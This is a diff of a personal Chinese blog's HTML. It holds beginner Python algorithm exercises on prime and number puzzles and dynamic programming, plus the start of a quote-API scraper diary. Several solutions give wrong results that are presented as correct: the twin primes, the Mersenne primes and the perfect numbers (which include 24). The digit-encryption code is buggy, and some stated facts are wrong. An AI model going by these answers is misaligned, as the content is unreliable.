  • 求素数的方法参考:判断一个数是否为质数(素数)的4种方法_是杰夫呀的博客-CSDN博客_如何判断一个数是不是质数

    +
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from math import sqrt

start = int(input('Start: '))
end = int(input('End: '))


def isPrime(num):
if num == 2: return True
if num % 2 == 0: return False
i = 3
while i <= sqrt(num):
if num % i == 0: return False
i += 2
return True


for i in range(start, end + 1):
if isPrime(i):
print(i)

+ +

哥德巴赫猜想

    +
  • 问题描述
    2000以内的不小于4的正偶数都能够分解为两个素数之和(即验证歌德巴赫猜想对2000以内的正偶数成立)。

    +
  • +
  • 问题分析
    根据问题描述,为了验证歌德巴赫猜想对2000以内的正偶数都是成立的,要将整数分解为两部分,然后判断分解出的两个整数是否均为素数。若是,则满足题意,否则应重新进行分解和判断。针对该问题,我们可以给定如下的输入和输出限定。
    输入时:每行输入一组数据,即2000以内的正偶数n,一直输入到文件结束符为止。
    输出时:输出n能被分解成的素数a和b。如果不止一组解,则输出其中a最小的那组解。
    当然,读者可以根据实际的需要规定不同的输入和输出形式。

    +
  • +
  • 这里指定输入方式:从控制台读入,空格分割

    +
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from math import sqrt

nums = input('Nums(split with space): ').split()


def isPrime(num):
if num == 2: return True
if num % 2 == 0: return False
i = 3
while i <= sqrt(num):
if num % i == 0: return False
i += 2
return True

nums = list(map(int, nums))
for num in nums:
add1 = -1
add2 = -1
for i in range(2, num):
if not isPrime(i): continue
else:
for j in range(num, 1, -1):
if not isPrime(j): continue
else:
if i + j == num:
add1 = i
add2 = j
break
if add1 != -1 and add2 != -1: break
print(add1, add2)

+ +

输入与输出

+
1
2
3
4
5
6
7
8
Nums(split with space): 4 5 6 7 8 9 10
2 2
2 3
3 3
2 5
3 5
2 7
3 7
+ +

1898

    +
  • 问题描述:“1898一要发就发”。请将不超过1993的所有素数从小到大排成第一行,第二行上的每个数都等于它上面相邻两个素数之差。编程求出:第二行数中是否存在若干个连续的整数,它们的和恰好为1898?假如存在的话,又有几种这样的情况?
    两行数据分别如下:
    第一行:2,3,5,7,11,13,17 …… 1979,1987,1993

    +

    第二行:1,2,2,4,2,4……8,6

    +
  • +
+

(还没做)

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Go-for-Python-Ch5/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Go-for-Python-Ch6/index.html b/posts/Go-for-Python-Ch6/index.html new file mode 100644 index 0000000000..d269710ff7 --- /dev/null +++ b/posts/Go-for-Python-Ch6/index.html @@ -0,0 +1,351 @@ +从零开始的Python ACM Ch.6:质数与整数练习 | GamerNoTitle + + + + + + + + + + + + + +

从零开始的Python ACM Ch.6:质数与整数练习

孪生素数

    +
  • 问题描述
    本节要研究孪生素数的问题,先来看看什么是孪生素数。
    所谓孪生素数指的是间隔为2的两个相邻素数,因为它们之间的距离己经近得不能再近了,如同孪生兄弟一样,故将这一对素数称为孪生素数。
    显然,最小的一对孪生素数是(1,3)。我们可以写出3、100以内的孪生素数,一共有8对,分别是(3,5),(5,7),(11,13),(17,19),(29,31),(41,43),
    (59,61)和(71,73)。随着数字的增大,孪生素数的分布也越来越稀疏,人工寻找孪生素数变得非常困难。
    关于孪生素数还存在着一个著名的猜想一孪生素数猜想,即孪生素数是否有无穷多对,这是数论中还有待解决的一个重要问题。此处我们只讨论在有限范围内的孪生素数求解问题。
  • +
  • 本节要解决的问题:编程求出3、1000以内的所有孪生素数。
  • +
+

其实很简单,直接遍历就好了

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from math import sqrt

def isPrime(num):
if num == 2: return True
if num % 2 == 0: return False
i = 3
while i <= sqrt(num):
if num % i == 0: return False
i += 2
return True

if __name__ == '__main__':
flag = False
primes = []
primesset = []
tmp = -1
for i in range(1000):
if isPrime(i) and not flag:
primes.append(i)
flag = True
tmp = i
elif isPrime(i) and flag:
primes.append(i)
primesset.append([tmp, i])
tmp = -1
flag = False
print(primesset)
+ +

输出

+
1
[[1, 2], [3, 5], [7, 11], [13, 17], [19, 23], [29, 31], [37, 41], [43, 47], [53, 59], [61, 67], [71, 73], [79, 83], [89, 97], [101, 103], [107, 109], [113, 127], [131, 137], [139, 149], [151, 157], [163, 167], [173, 179], [181, 191], [193, 197], [199, 211], [223, 227], [229, 233], [239, 241], [251, 257], [263, 269], [271, 277], [281, 283], [293, 307], [311, 313], [317, 331], [337, 347], [349, 353], [359, 367], [373, 379], [383, 389], [397, 401], [409, 419], [421, 431], [433, 439], [443, 449], [457, 461], [463, 467], [479, 487], [491, 499], [503, 509], [521, 523], [541, 547], [557, 563], [569, 571], [577, 587], [593, 599], [601, 607], [613, 617], [619, 631], [641, 643], [647, 653], [659, 661], [673, 677], [683, 691], [701, 709], [719, 727], [733, 739], [743, 751], [757, 761], [769, 773], [787, 797], [809, 811], [821, 823], [827, 829], [839, 853], [857, 859], [863, 877], [881, 883], [887, 907], [911, 919], [929, 937], [941, 947], [953, 967], [971, 977], [983, 991]]
+ +

梅森素数

    +
  • 问题描述:梅森数(MersennePrime)指的是形如2n·1的正整数,其中指数n是素数,记为Mno如果一个梅森数是素数,则称其为梅森素数。例如2^2-1=3、2^3-1:7都是梅森素数。
    当n:2、3、5、7时,Mn都是素数,但n=11时,Mn=2^11-1=2047=23×89,显然不是梅森素数。
    1722年,瑞士数学大师欧拉证明了2^31-1=21474837是一个素数,它共有10位数,成为当时世界上己知的最大素数。
    迄今为止,人们仅发现了47个梅森素数。梅森素数历来都是数论研究中的一项重要内容,也是当今科学探索中的热点和难点问题。
    了解了梅森素数后,现在来看本节要解决的编程问题。
  • +
  • 试求出指数n<20的所有梅森素数。
  • +
+

直接去算n在20以内质数的时候2^n-1是否为质数就行了

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from math import sqrt


def isPrime(num):
if num == 2:
return True
if num % 2 == 0:
return False
i = 3
while i <= sqrt(num):
if num % i == 0:
return False
i += 2
return True


if __name__ == '__main__':
flag = False
primes = []
result = []
for i in range(20): # 20以内的素数
if isPrime(i):
primes.append(i)
for num in primes:
if isPrime(2**num-1):
result.append(2**num-1)
print(primes, result)

+ +

输出

+
1
[1, 2, 3, 5, 7, 11, 13, 17, 19] [1, 3, 7, 31, 127, 8191, 131071, 524287]
+ +

回文数

    +
  • 问题描述:打印不超过n(n<256)的其平方具有对称性质的数
  • +
+
1
2
3
4
5
6
7
8
n = int(input('n: '))
result = []

for i in range(1,n+1):
if str(i**2) == str(i**2)[::-1]:
result.append(i)

print(result)
+ +

输出

+
1
[1, 2, 3, 11, 22, 26, 101, 111, 121, 202, 212]
+ +

水仙花数

    +
  • 问题描述:经典题目,三位数的数位上的数字的三次方等于数字本身
  • +
+
1
2
3
4
5
6
7
8
9
10
result = []
for i in range(100, 1000):
a = str(i)[0]
b = str(i)[1]
c = str(i)[2]
if int(a)**3 + int(b)**3 + int(c)**3 == i:
result.append(i)

print(result)

+ +

输出

+
1
[153, 370, 371, 407]
+ +

阿姆斯特朗数

    +
  • 水仙花数的翻版,任意位数也可以有这个特性,求1000以内的这种数字
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
result = []
for i in range(0, 1001):
if i < 10:
if i**3 == i:
result.append(i)
elif i >= 10 and i < 100:
a = str(i)[0]
b = str(i)[1]
if int(a)**3 + int(b)**3 == i:
result.append(i)
elif i >= 100 and i < 1000:
a = str(i)[0]
b = str(i)[1]
c = str(i)[2]
if int(a)**3 + int(b)**3 + int(c)**3 == i:
result.append(i)
elif i >= 1000:
a = str(i)[0]
b = str(i)[1]
c = str(i)[2]
d = str(i)[3]
if int(a)**3 + int(b)**3 + int(c)**3 + int(d)**3 == i:
result.append(i)

print(result)

+ +

输出

+
1
[0, 1, 153, 370, 371, 407]
+ +

完数

    +
  • 问题描述:一个数如果能由其因子相加得到,就称这个数字为完数。请输出1000以内的完数
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from math import sqrt

result = []
for i in range(1, 1000):
factor = []
for j in range(1, int(i/2)+1):
if i % j == 0:
factor.append(j)
if sum(factor) == i:
result.append(i)
break

print(result)

+ +

输出

+
1
[6, 24, 28, 496]
+ +

自守数

    +
  • 问题描述:一个数的平方的尾数等于自身的自然数即为自守数,求100 000以内的自守数
  • +
+
1
2
3
4
5
6
7
result = []
for i in range(100000):
if str(i) == str(i**2)[-len(str(i)):]:
result.append(i)

print(result)

+ +

输出

+
1
[0, 1, 5, 6, 25, 76, 376, 625, 9376, 90625]
+ +

高位数的高次方位数输出

    +
  • 题目描述:对于一个13位的高位数,进行13次方的运算后,输出最后三位数
  • +
+
1
2
3
4
5
6
7
8
9
10
num = input('num: ')

result = []
tmpnum = int(num[-3:])
last = 1
for i in range(13):
last = int(str(last)[-3:]) * tmpnum

print(str(last)[-3:])

+ +

输入及输出

+
1
2
num: 1234567891234
504
+ +

不截断尾巴的实际数字为15477282471244379725868683797046205669901003401479261325193553207435375574886373743207123231086152401578649551681124388954385182017538129322035861770786709504

+

通过比较尾数发现做法是正确的

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Go-for-Python-Ch6/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Go-for-Python-Ch7/index.html b/posts/Go-for-Python-Ch7/index.html new file mode 100644 index 0000000000..b372869259 --- /dev/null +++ b/posts/Go-for-Python-Ch7/index.html @@ -0,0 +1,310 @@ +从零开始的Python ACM Ch.7:整数练习 | GamerNoTitle + + + + + + + + + + + + + +

从零开始的Python ACM Ch.7:整数练习

黑洞数

    +
  • 黑洞数又称陷阱数,是类具有奇特转换特性的整数。任何一个数字不全相同整数,经有限“重排求差”操作,总会得某一个或一些数,这些数即为黑洞数。“重排求差”操作即把组成该数的数字重排后得到的最大数减去重排后得到的最小数。或者是冰雹原理中的“1”黑洞数
  • +
  • 求出三位数以内的黑洞数
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
blackhole_num = set({})

def sort(num):
num_ascend_ls = sorted(list(str(num)))
num_ascend = int(num_ascend_ls[0]+num_ascend_ls[1]+num_ascend_ls[2])
num_decend_ls = list(reversed(sorted(list(str(num)))))
num_decend = int(num_decend_ls[0]+num_decend_ls[1]+num_decend_ls[2])
return num_ascend, num_decend

for i in range(100,1000):
num = i
while True:
num_ascend, num_decend = sort(num)
tmp = num_decend - num_ascend
if tmp == num:
blackhole_num.add(tmp)
break
elif tmp < 100:
break
else:
num = tmp
print(blackhole_num)
+ +

输出

+
1
{495}
+ +

我还去百度了一下,三位数的黑洞数确实只有495……

+

勾股数

    +
  • 这个应该不用多介绍了吧……输出100以内的所有勾股数
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
# 暴力做法
from math import sqrt

nums = list()

for a in range(1, 101):
for b in range(1, a+1):
if str(sqrt(a ** 2 + b ** 2)).endswith('.0') and sqrt(a ** 2 + b ** 2) <= 100:
nums.append((b, a, int(sqrt(a**2+b**2))))
nums.sort(key=lambda x: x[0])
print(nums)

+ +

输出(共52个)

+
1
[(3, 4, 5), (5, 12, 13), (6, 8, 10), (7, 24, 25), (8, 15, 17), (9, 12, 15), (9, 40, 41), (10, 24, 26), (11, 60, 61), (12, 16, 20), (12, 35, 37), (13, 84, 85), (14, 48, 50), (15, 20, 25), (15, 36, 39), (16, 30, 34), (16, 63, 65), (18, 24, 30), (18, 80, 82), (20, 21, 29), (20, 48, 52), (21, 28, 35), (21, 72, 75), (24, 32, 40), (24, 45, 51), (24, 70, 74), (25, 60, 65), (27, 36, 45), (28, 45, 53), (28, 96, 100), (30, 40, 50), (30, 72, 78), (32, 60, 68), (33, 44, 55), (33, 56, 65), (35, 84, 91), (36, 48, 60), (36, 77, 85), (39, 52, 65), (39, 80, 89), (40, 42, 58), (40, 75, 85), (42, 56, 70), (45, 60, 75), (48, 55, 73), (48, 64, 80), (51, 68, 85), (54, 72, 90), (57, 76, 95), (60, 63, 87), (60, 80, 100), (65, 72, 97)]
+ +

不重复的三位数

    +
  • 用1、2、3、4能组成多少个互不相同且无重复数字的三位数?都是多少?
  • +
  • (其实Python里面的itertools里面有个方法叫做permutation()
  • +
+
1
2
3
4
5
6
7
8
9
10
from itertools import permutations

nums = [1, 2, 3, 4]
result = []

possible = permutations(nums, 3)
for a, b, c in possible:
result.append(a*100+b*10+c)
print(result)
print(len(result))
+ +

输出

+
1
2
[123, 124, 132, 134, 142, 143, 213, 214, 231, 234, 241, 243, 312, 314, 321, 324, 341, 342, 412, 413, 421, 423, 431, 432]
24
+ + + +
Author: GamerNoTitle
Link: https://bili33.top/posts/Go-for-Python-Ch7/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Go-for-Python-Ch8/index.html b/posts/Go-for-Python-Ch8/index.html new file mode 100644 index 0000000000..329a5bd66b --- /dev/null +++ b/posts/Go-for-Python-Ch8/index.html @@ -0,0 +1,288 @@ +从零开始的Python ACM Ch.8:综合题目 | GamerNoTitle + + + + + + + + + + + + + +

从零开始的Python ACM Ch.8:综合题目

数据加密

一个公司对于一个四位数的整型数字的加密方式为:每位数位上的数字+5后除以十得到余数,将各数位上的余数按照第一位与第四位、第二位与第三位的顺序进行交换,得到最终结果

+
1
2
3
4
5
6
7
8
9
10
11
message = input('num: ')

message = [message[0], message[1], message[2], message[3]]
for i in range(0, len(message)):
message[i] = int(message[i]) + 5 % 10
message[0], message[1], message[2], message[3] = message[3], message[2], message[1], message[0]
result = ''
for i in message:
result += str(i)
print(result)

+ +

双色球

用程序模拟双色球开奖过程,红色球范围为133,蓝色球范围为116,红色球有6个且数字不能重复,蓝色球只有1个。

+

输出格式为:红色球:x x x x x x 蓝色球:x

+
1
2
3
4
5
6
7
8
9
10
11
12
13
import random

reds = set()
blue = -1
while len(reds) < 6:
reds.add(random.randint(1,33))

blue = random.randint(1,16)

print('红色球:', end='')
for i in reds:
print(i, end=' ')
print(f'蓝色球:{blue}')
+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/Go-for-Python-Ch8/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/Go-for-Python-Ch9/index.html b/posts/Go-for-Python-Ch9/index.html new file mode 100644 index 0000000000..a9e799e415 --- /dev/null +++ b/posts/Go-for-Python-Ch9/index.html @@ -0,0 +1,374 @@ +从零开始的Python ACM Ch.9:动态规划 | GamerNoTitle + + + + + + + + + + + + + + +

从零开始的Python ACM Ch.9:动态规划

例题:跳台阶

假设你正在爬楼梯。需要 n 阶你才能到达楼顶。

+

每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢?

+
    +
  • 示例 1
  • +
+

输入:n = 2 输出:2

+

解释:有两种方法可以爬到楼顶。

+
    +
  1. 1 阶 + 1 阶

    +
  2. +
  3. 2 阶

    +
  4. +
+
    +
  • 示例 2:
  • +
+

输入:n = 3 输出:3

+

解释:有三种方法可以爬到楼顶。

+
    +
  1. 1 阶 + 1 阶 + 1 阶

    +
  2. +
  3. 1 阶 + 2 阶

    +
  4. +
  5. 2 阶 + 1 阶

    +
  6. +
+

1 <= n <= 45

+

题解(递归法)

解释:一个stepsn的问题可以看做是stepsn-1stepsn-2的步骤和

+
1
2
3
4
5
6
7
8
steps = int(input('Steps: '))   # 台阶数

def degrade(steps):
if steps == 1: return 1
if steps == 2: return 2
return degrade(steps - 1) + degrade(steps - 2)

print(degrade(steps))
+ +

这个方法可以发现,当输入steps10时,degrade(9)计算了1次,degrade(8)计算了2次(degrade(9)里面一次,自身一次),再往下发现越往下计算的次数越多,如果计算式子很复杂会消耗更多的时间

+

所以有一个优化的方式,就是把已经算过的值丢到一个新的变量里面存起来,如果计算过就不用计算了(缓存优化)

+
1
2
3
4
5
6
7
8
9
10
11
steps = int(input('Steps: '))   # 台阶数
memory = [-1] * 10000000

def degrade(steps):
if steps == 1: return 1
if steps == 2: return 2
if memory[steps] >= 0: return memory[steps]
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
return memory[steps]

print(degrade(steps))
+ +

或者使用字典来存储

+
1
2
3
4
5
6
7
8
9
10
11
steps = int(input('Steps: '))   # 台阶数
memory = {}

def degrade(steps):
if steps == 1: return 1
if steps == 2: return 2
if steps in memory: return memory[steps]
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
return memory[steps]

print(degrade(steps))
+ +

递归问题

步骤只有两步:

+
    +
  • 分解(分解为规模较小的相似问题)
  • +
  • 原子问题(可以由问题分解推出,这里就是i=1i=2的情况)
  • +
+

很多DP算法都能够用递归解决,因为这个比DP简单,所以先在这里列出来。

+

递归会占用系统资源,而且递归一定会比循环更慢一些(尽管你用了缓存优化),当递归数过高时会超过Python的最大深度,引起RecursionError然后就……像下面这样

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Steps: 10000
Traceback (most recent call last):
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_trace_dispatch_regular.py", line 359, in __call__
is_stepping = pydev_step_cmd != -1
RecursionError: maximum recursion depth exceeded in comparison

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\runpy.py", line 196, in _run_module_as_main
return _run_code(code, main_globals, None,
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\runpy.py", line 86, in _run_code
exec(code, run_globals)
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\__main__.py", line 39, in <module>
cli.main()
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy/..\debugpy\server\cli.py", line 430, in main
run()
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy/..\debugpy\server\cli.py", line 284, in run_file
runpy.run_path(target, run_name="__main__")
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 321, in run_path
return _run_module_code(code, init_globals, run_name,
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 135, in _run_module_code
_run_code(code, mod_globals, init_globals,
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 124, in _run_code
exec(code, run_globals)
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 11, in <module>
print(degrade(steps))
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 8, in degrade
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 8, in degrade
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 8, in degrade
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
[Previous line repeated 983 more times]
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 4, in degrade
def degrade(steps):
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_trace_dispatch_regular.py", line 469, in __call__
return None if event == 'call' else NO_FTRACE
RecursionError: maximum recursion depth exceeded in comparison
+

DP算法

核心问题

    +
  • 合成问题
  • +
  • 初始状态(就是i=1i=2的状态)
  • +
  • 计算后续状态
  • +
+

DP算法求解

还是上面那个跳台阶问题

+
1
2
3
4
5
6
7
8
9
10
11
steps = int(input('Steps: '))   # 台阶数

def degrade(steps):
result = [0] * (steps + 1)
result[1], result[2] = 1, 2
for i in range(3, steps+1):
result[i] = result[i-1] + result[i-2]
return result[steps]

print(degrade(steps))

+ +

输出

+
1
2
Steps: 10000
54438373113565281338734260993750380135389184554695967026247715841208582865622349017083051547938960541173822675978026317384359584751116241439174702642959169925586334117906063048089793531476108466259072759367899150677960088306597966641965824937721800381441158841042480997984696487375337180028163763317781927941101369262750979509800713596718023814710669912644214775254478587674568963808002962265133111359929762726679441400101575800043510777465935805362502461707918059226414679005690752321895868142367849593880756423483754386342639635970733756260098962462668746112041739819404875062443709868654315626847186195620146126642232711815040367018825205314845875817193533529827837800351902529239517836689467661917953884712441028463935449484614450778762529520961887597272889220768537396475869543159172434537193611263743926337313005896167248051737986306368115003088396749587102619524631352447499505204198305187168321623283859794627245919771454628218399695789223798912199431775469705216131081096559950638297261253848242007897109054754028438149611930465061866170122983288964352733750792786069444761853525144421077928045979904561298129423809156055033032338919609162236698759922782923191896688017718575555520994653320128446502371153715141749290913104897203455577507196645425232862022019506091483585223882711016708433051169942115775151255510251655931888164048344129557038825477521111577395780115868397072602565614824956460538700280331311861485399805397031555727529693399586079850381581446276433858828529535803424850845426446471681531001533180479567436396815653326152509571127480411928196022148849148284389124178520174507305538928717857923509417743383331506898239354421988805429332440371194867215543576548565499134519271098919802665184564927827827212957649240235507595558205647569365394873317659000206373126570643509709482649710038733517477713403319028105575667931789470024118803094604034362953471997461392274791549730356412633074230824051999996101549784667340458326852960388301120765629245998136251652347093963049734046445106365304163630823669242257761468288461791843224793434406079917883360676846711185597501
+ +

DP与递归的区别

DP是正着算,递归是反着算,仅此而已,思考问题的思路不同。

+

例题:网络路径数

一个机器人位于一个 m x n 网格的左上角 。

+

机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角。

+

问总共有多少条不同的路径?

+
    +
  • 示例 1
  • +
+

输入:m = 3, n = 7 输出:28

+
    +
  • 示例 2
  • +
+

输入:m =3, n = 2 输出:3 解释:从左上角开始,总共有 3 条路径可以到达右下角。

+
    +
  1. 向右 -> 向下 -> 向下

    +
  2. +
  3. 向下 -> 向下 -> 向右

    +
  4. +
  5. 向下 -> 向右 -> 向下

    +
  6. +
+
    +
  • 示例 3
  • +
+

输入:m =7, n = 3

+

输出:28

+
    +
  • 示例 4
  • +
+

输入:m = 3, n = 3

+

输出:6

+

题解(递归法)

1
2
3
def pathcount(m, n):
if m == 1 or n == 1: return 1
return pathcount(m-1, n) + pathcount(m, n-1)
+ +

题解(DP法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def pathcount(m, n):
ls = [[0 for _ in range(n+1)] for __ in range(m+1)]
ls[1][1] = 0
for i in range(1, len(ls[1])): # 初始化状态初值
ls[1][i] = 1
for i in range(1, len(ls)):
ls[i][1] = 1
ls[1][2] = 1
ls[2][1] = 1
for b in range(2, m+1): # b是行
for a in range(2, n+1): # a是列
ls[b][a] = ls[b-1][a] + ls[b][a-1]
print(ls)
return ls[m][n]
+ + + +
Author: GamerNoTitle
Link: https://bili33.top/posts/Go-for-Python-Ch9/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Hitokoto-Spider/index.html b/posts/Hitokoto-Spider/index.html new file mode 100644 index 0000000000..9da380bbc2 --- /dev/null +++ b/posts/Hitokoto-Spider/index.html @@ -0,0 +1,452 @@ +Hitokoto-Spider 一言库爬虫开发日记 | GamerNoTitle + + + + + + + + + + + + + + +

Hitokoto-Spider 一言库爬虫开发日记

最近在家里虽然有上课(学校开学了),但是中午两个半小时的休息时间以及晚上的自由时间是真的闲,在想要干什么……然后我在我的学弟的电脑桌面上发现了八爪鱼,想起了他用八爪鱼抓一言库的时候,我就在想:为什么我不自己做一个抓一言的爬虫呢?说干就干,于是我就开始坐了起来……

+

下面,是我的个人开发日记,包含回忆,有些细节可能记得不是很清楚

+

项目地址:https://github.com/GamerNoTitle/Hitokoto-Spider

+
+

2020年2月10日 星期一 天气:不很好

今天是学校开学第一天,钉钉的会议功能真的菜,视频延迟3秒钟,互动板延迟3分钟……而且这个会议可以回看不能下载???拿fiddler抓包去……

+

(12:00)开始做爬虫了,先到一言去看看API是怎么用的先。在官网,可以看到下面这个表格(为了方便,我直接把源码拿过来了)

+ + + + + + + + + + + + + + + + + + + + + + + +
时间影响Api调整
2018年6月之前旧版API(http://api.hitokoto.cn和https://sslapi.hitokoto.cn)旧版API将在6月份之前以切换解析的方式合并到v1API中。也就意味着调整之后请求此API无异于请求v1API。调整后此接口的稳定性将不再受到维护。
2018年7月之前v1API(https://v1.hitokoto.cn)v1API将发布最终版本。v1接口将会在未来存在较长时间(即使v2发布,请放心使用)。
v2 发布(时间未知)v2API(域名未知)上线v2API。
+ +

这个是一言的几个api的地址,我选择的就是用的https://v1.hitokoto.cn

+

拿到了api,我要看看访问出来的效果是怎么样的,于是我又访问了这个地址,获得了一大串文本

+
1
2
3
4
5
6
7
8
9
10
11
12
{
"id": 79, //一言的ID
"hitokoto": "所以,他们的祭典还没结束。", //一言内容
"type": "a", //类型,具体可在官网查阅,这里a是Anime即动漫
"from": "我的青春恋爱物语果然有问题", //一言出处
"from_who": null, //谁说的话
"creator": "阿布碳。", //提交此条目的用户
"creator_uid": 0, //用户的uid,可以不看
"reviewer": 0,
"uuid": "f6aa4116-5a0f-4ab0-807a-bf3838a5fd23", //用户的uuid,可以不看
"created_at": "1468605909" //何时创建,这里是以时间戳的方式展示
}
+ +

我看着:这玩意怎么格式这么像json呢???

+ + +

直到我往下拉,发现:

+

这塔喵不就是json嘛……(上面的注释是我加入的)

+

+

搞清楚了返回出来的结果的组成后,我们就可以开始撸代码了!

+

打开VSCode,新建一个文件夹,在这个文件夹里面进行修改

+

首先确定我需要用什么来模拟http请求,因为我自己用过@Dawnnnnnn/bilibili-live-tools这个项目,而且在用这个项目的时候,特别是在学校的服务器上面挂,那个Windows Server 2016 DataCenter装个requests运行库都难,所以我特别记得requests这个库可以模拟http请求,先装上再说!

+

于是我在powershell内打了

+
1
$ pip install requests
+ +

来安装我的requests运行库,接着,在我的python文件内打入

+
1
import requests as r
+ +

因为本人比较懒,所以喜欢把运行库简写,加入了as r我就可以不用打那么多字母了,真的方便

+

接着,要先搞清楚requests库的用法,于是乎我又去查了一下,查到这几个函数

+
1
2
3
4
5
6
requests.get(‘https://github.com/timeline.json’)                 # GET请求
requests.post(“http://httpbin.org/post”) # POST请求
requests.put(“http://httpbin.org/put”) # PUT请求
requests.delete(“http://httpbin.org/delete”) # DELETE请求
requests.head(“http://httpbin.org/get”) # HEAD请求
requests.options(“http://httpbin.org/get” ) # OPTIONS请求
+ +

那么我要获得结果,采用了GET请求,然后在我的项目中打入了

+
1
res = r.get('https://international.v1.hitokoto.cn/')
+ +

这样就可以把获得的结果赋给res,然后通过调用res的值来获得我们想要的结果,接着运行一次我们的文件

+
1
2
3
import requests as r
res = r.get('https://v1.hitokoto.cn/')
print(res)
+ +

然后返回的值为:<Response [200]>

+

状态码输出这不是状态码嘛???我不要这玩意儿啊,我要结果。。。

+

然后我就commit了一下,盖上我的垃圾Lenovo,然后去睡觉了……

+
+

2020年2月11日 星期二 天气:还是不很好

今天继续开发,昨天拿到的结果是个状态码,然后我又有思路了!

+

我就在print中动一下手脚,给被打印的res加上一个参数,然后代码就变成了

+
1
2
3
import requests as r
res = r.get('https://v1.hitokoto.cn/')
print(res.text)
+ +

接着就给我输出了我想要的东西嘿嘿

+

json格式输出

+

这个项目本来想跟学弟@Soulxyz一起做的,然后我就先把这个雏形push到了仓库里面,他也fork了,然后回来给我的是一个叫做csvdomo.py(点击可下载)的文件(我寻思你是不是想打csvdemo???)

+

我打开了,然后发现:你这不是并发获取10次都是一个结果吗???你这不重新获取不是每次都一样的吗???

+

csvdomo输出

+

于是我决定放弃他这里,我自己来弄这个项目……后来他告诉我,用一言的国际节点可以有更高的QPS,然后我就转用国际节点了……

+

接着下一步是要重复抓取,对于这一部分,我想到的是让用户输入要抓取的次数,类型为int,命名为num,然后采用for循环重复抓取,就写了下面的这一段

+
1
2
3
4
print("请输入抓取的数量,如果要抓取全部请到https://hitokoto.cn/status查看现在的一言总数并填入:")
num=input()
for i in range(num):
res = r.get('https://v1.hitokoto.cn/')
+ +

这样子来实现重复抓取的功能,至于为什么如果要抓取全部还要输入,因为那个数字我是真的拿不到啊……

+

终于实现了抓取的功能,接下来要实现写入文件的功能

+

我的想法是写入csv文件,因为我自己在华南理工学习的时候就用过相关的函数,所以我就去搜索了一下,结果发现python原生支持csv,不需要用到pandas,所以我就调用了自带的csv库

+

(要上课了,先撤了)

+

(16:30)我回来了!现在就是要搞定写入csv库的问题,我在网上找到了相关的方法:

+

先打开一个文件,然后把这个文件设定为file变量,然后def两个函数,一个创建,一个写入,就像下面这个亚子:

+
1
2
3
4
5
6
7
8
9
10
11
12
import csv
